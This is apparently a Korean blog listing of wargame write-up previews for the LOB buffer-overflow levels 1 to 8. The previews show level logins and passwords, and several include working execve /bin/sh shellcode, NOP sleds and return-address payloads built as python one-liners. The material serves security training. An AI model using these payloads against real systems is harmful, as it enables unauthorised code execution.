Wargame 썸네일형 리스트형 [LOB] 8번 orge -> troll id : orgepassword : timewalker 로그인 후 troll.c의 코드를 보면 다음과 같다. 저번 문제에서 argv[1]을 이용해서 문제를 풀었었는데 이제는 그것도 못하게 되었다. 그래서 argv[0], 즉 파일 이름에 쉘코드를 넣어 실행시켜주면 될 것 같다. bash2로 바꿔준 후 진행했다. 일단 파일 이름에 넣을 수 있는 쉘코드는 \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 48byte 이.. 더보기 [LOB] 7번 darkelf -> orge id : darkelfpassword : kernel crashed 로그인 후 orge.c의 코드를 확인해보면 다음과 같다. 이번에는 argv[0]의 길이가 정해졌다. 심볼릭링크를 이용하면 될 것 같다. orge의 복사본인 oooo를 만들어 두 파일 모두 심볼릭 링크를 만들어준다. 이 전 문제에서 나왔던 주소를 입력해주면 core dump가 뜬다. core dump 분석을 통해 버퍼의 주소를 알아낼 수 있다. gdb -q aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa core 를 해주면 0xbfffffdf 에서 알 수 없는 명령어가 나왔다는 것을 알 수 있다. 이 부분의 값을 확인해보면 쉘코드가 있지 않다. 이 주소.. 더보기 [LOB] 6번 wolfman -> darkelf id : wolfmanpassword : love eyuna 로그인 후 darkelf.c 파일을 보면 다음과 같다 이번 문제는 저번처럼 풀면 될 것 같다 gdb로 argv[1]의 시작주소를 알아내면 된다 0xbffffc26 이다 ./darkelf `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*4 + "\x26\xfc\xff\xbf"'` NOP(15) + 쉘코드(25) + NOP(4) + argv[1] 주소(4) 쉘에서 my-pass를 입력하면 비밀번호를 알아낼 수 있다 더보기 [LOB] 5번 orc -> wolfman id : orcpassword : cantata 로그인 후 wolfman.c 코드를 보면 다음과 같다 이번 문제는 환경변수를 없애고 버퍼를 0으로 채우게 된다 남아있는 것은 argv[1]이기 때문에 리턴어드레스에 argv[1]의 주소를 넣어주면 된다 gdb로 argv[1]의 시작 주소를 알아냈다 0xbffffc46이다 $ebp에는 sfp, 리턴 어드레스, argc, argv[2]가 들어간다 원래 0x00000000 대신에 0x00000002 가 있어야 한다 ./wolfman `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x8.. 더보기 [LOB] 4번 goblin -> orc id : goblinpassword : hackers proof 로그인하면 orc.c 파일이 있다 코드는 다음과 같다 리턴 어드레스에 들어갈 주소가 bf로 시작해야 한다는 점이 새롭다 버퍼에 40이 들어가고 sfp까지 44를 채워준 후 버퍼의 주소를 입력해주면 될 것 같다 gdb로 버퍼의 주소를 알아냈다 0xbffffc35 리틀엔디안 방식이기 때문에 \x35\xfc\xff\xbf 를 입력해줘야 한다 ./orc `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*4 + "\x35\xfc\xff\xbf"'` .. 더보기 [LOB] 3번 cobolt -> goblin id : coboltpasswd : hacking exposed 로그인 후 goblin의 코드를 보면 다음과 같다. 이번에는 gets로 문자열을 입력받는다. 2번처럼 환경변수를 사용하여 문제를 풀면 된다. shellcode 라는 환경변수를 만들어서 파이프라인을 통해 문제를 해결할 수 있다. 파이프라인의 첫번째 명령의 출력값이 두 번째 명령의 입력으로 사용된다. 따라서 goblin에서 gets로 받아오는 값을 통해 쉘이 실행되어 my-pass를 통해 비밀번호를 알아낼 수 있다. 여기서 cat을 쓰는 이유는 EOF를 인식해 프로그램을 종료시키는 것을 막기 위해서이다. cat을 쓰지 않고 실행했을 때 프로그램이 혼자 종료된다. 따라서 프로그램의 종료를 지연해주는 역할을 해준다. 더보기 [LOB] 2번 gremlin -> cobolt login : gremlin password : hello bof world 로그인 후 vi cobolt.c로 소스코드를 확인한다. 1번 문제처럼 풀기엔 버퍼의 크기가 작다. 그래서 환경 변수로 풀어주면 된다. 위와 같이 SHELL 이라는 환경 변수에 쉘코드 주소를 넣어준다. env 명령어로 환경변수 SHELL이 생긴 걸 알 수 있다. 환경변수의 주소를 알기 위한 코드를 C언어로 작성해보았다. 환경변수의 주소는 위와 같다. 그래서 위와 같이 버퍼와 SFP를 NOP으로 채워주고 RET 주소에 환경변수 주소를 넣어주면 문제 해결 더보기 [LOB] 1번 gremlin LOB란 버퍼 오버플로우르 이용한 Wargame 이다. The Lord of Bufferoverflow 의 약자이다. 이를 풀기 위해서는 LOB 이미지를 해커스쿨 사이트에서 다운 받아 가상 환경에서 서버를 구축해야 한다. 구축하고 telnet [IP 주소]로 연결하면 화면이 다음과 같이 구성된다. login : gatePassword : gate 로그인을 하고 파일을 보면 gremlin.c 가 있다. vi gremlin.c 로 코드를 보면 다음과 같이 되어 있다. 버퍼로 256을 입력 받고 argc 가 2개 미만이면 오류를 출력하고 프로그램을 종료한다. 2개 이상이면 buffer에 argv[1] 인자를 복사 시킨다. 이 문제는 strcpy 함수를 실행할 때 어느정도 크기의 값을 복사할 지 정하지 않는다는.. 더보기 이전 1 2 3 4 다음